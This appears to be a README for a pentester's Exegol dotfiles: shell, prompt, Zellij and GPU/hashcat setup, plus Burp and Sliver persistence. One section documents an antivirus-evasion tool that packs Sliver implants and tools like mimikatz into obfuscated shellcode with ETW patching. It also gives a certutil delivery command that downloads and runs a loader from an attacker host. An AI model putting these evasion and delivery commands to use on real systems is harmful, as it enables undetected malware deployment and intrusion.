Personal Exegol dotfiles and setup scripts for a customized pentesting environment.

• Starship prompt with Catppuccin Mocha theme and Exegol indicator
• Modern CLI tools: eza, bat, fd, zoxide, delta, zellij
• Zellij terminal multiplexer with auto plugin permissions
• Shared history across Zellij panes (syncs on Enter or Ctrl+H)
• Burp Suite Pro license persistence
• Sliver C2 armory extensions persistence (auto-backup on shell exit)

git clone https://github.com/p3ta00/p3ta_exegol.git ~/dev/p3ta_exegol
cd ~/dev/p3ta_exegol

./install.sh

This copies all configs to ~/.exegol/my-resources/

exegol start mybox

Everything loads automatically via the zshrc that Exegol sources.

p3ta_exegol/
├── avbypass/
│   ├── killshot.sh        # Main killshot CLI (bash)
│   ├── gen_runner.py      # Polymorphic Go runner generator
│   └── killshot.py        # Tool-specific shellcode generator
├── configs/
│   ├── starship.toml      # Starship prompt config
│   ├── zshrc              # Custom zsh config (auto-sourced by Exegol)
│   ├── load_user_setup.sh # First-start setup (runs automatically)
│   └── zellij/            # Zellij config with plugins
├── gpu/
│   ├── install-gpu.sh     # Host-side: detect GPU, write config, patch startup
│   └── setup-gpu.sh       # Container-side: match driver, fix symlinks, OpenCL
├── install.sh             # Full installer (run on host)
├── setup-dotfiles.sh      # Config sync only (run on host)
├── install-tools.sh       # CLI tool installer (run in container)
└── README.md

All tools install to /opt/my-resources/bin/ which persists across containers.

License/config auto-restores from setup/burp-config/ on new containers.

burppro    # Launch Burp Suite Pro

Armory extensions auto-backup on shell exit to setup/sliver/. Restores automatically on new containers. Sliver daemon auto-starts on container boot.

Converts tools and C2 implants to in-memory shellcode via Donut + a polymorphic Go loader. Each build randomizes variable names, obfuscates API strings, injects junk functions, patches ETW, and compiles through garble.

Output goes to /workspace/killshot (exegol) or ~/killshot (other).

# Generate Sliver beacon + runner
killshot generate -l 10.10.14.5 --implant -p 443

# Generate interactive session instead of beacon
killshot generate -l 10.10.14.5 --implant -p 443 -t session

# Just the runner (polymorphic loader)
killshot generate --runner

# Just the implant
killshot generate -l 10.10.14.5 --implant

# Generate everything (implant + runner + stager + tools)
killshot generate -l 10.10.14.5 --all

# Convert a specific tool to shellcode
killshot tool SharpHound --params "-c All"
killshot tool Rubeus --params "kerberoast"
killshot tool mimikatz

# List available tools
killshot list

# Serve payloads
killshot serve

Delivery on target:

certutil -urlcache -split -f http://LHOST:8000/runner.exe %TEMP%\r.exe
%TEMP%\r.exe -remote http://LHOST:8000/implant.enc

Beacon vs Session:

• beacon (default) — periodic check-in, stealthier, use interactive in sliver to upgrade
• session — real-time interactive shell, noisier but supports shell command directly

ZSH history syncs across Zellij panes:

• Syncs automatically when you press Enter
• Press Ctrl+H to manually sync

zj                        # Start zellij
Ctrl+a then n             # New pane
Ctrl+a then x             # Close pane
Alt+left/right            # Switch panes
Alt+n                     # New pane
Alt+f                     # Toggle floating pane

After making changes:

cd ~/dev/p3ta_exegol
./setup-dotfiles.sh       # Sync to my-resources
git add -A && git commit -m "Update configs" && git push

New containers will pick up changes automatically.

Supports Arch/CachyOS, Fedora/Nobara, Debian/Ubuntu/Kali - any host with NVIDIA GPU.

• NVIDIA drivers installed on host
• nvidia-container-toolkit installed (script will guide you if missing)
• Docker configured with NVIDIA runtime

# Run on your HOST (once, and again after driver updates)
./gpu/install-gpu.sh

This will:

1. Detect your GPU model, driver version, CUDA version
2. Write gpu-host.conf to ~/.exegol/my-resources/setup/gpu/
3. Copy setup-gpu.sh to my-resources
4. Patch load_user_setup.sh to auto-run GPU setup on container start

# Start Exegol with GPU passthrough
exegol start mybox full --gpu

# Inside the container - verify GPU
gpu-check            # Show clinfo + hashcat device info
gpu-test             # hashcat MD5 benchmark
gpu-info             # nvidia-smi
gpu-watch            # live nvidia-smi monitor

Re-run install-gpu.sh on the host. The container script will warn if there's a version mismatch between what it expects and what's mounted.

The zshrc should handle this automatically. If not:

source ~/.zshrc

Run the installer inside the container:

/opt/my-resources/setup/install-tools.sh

Make sure you're using a Nerd Font in your terminal.

The config includes auto_accept_permissions true - restart zellij if prompted.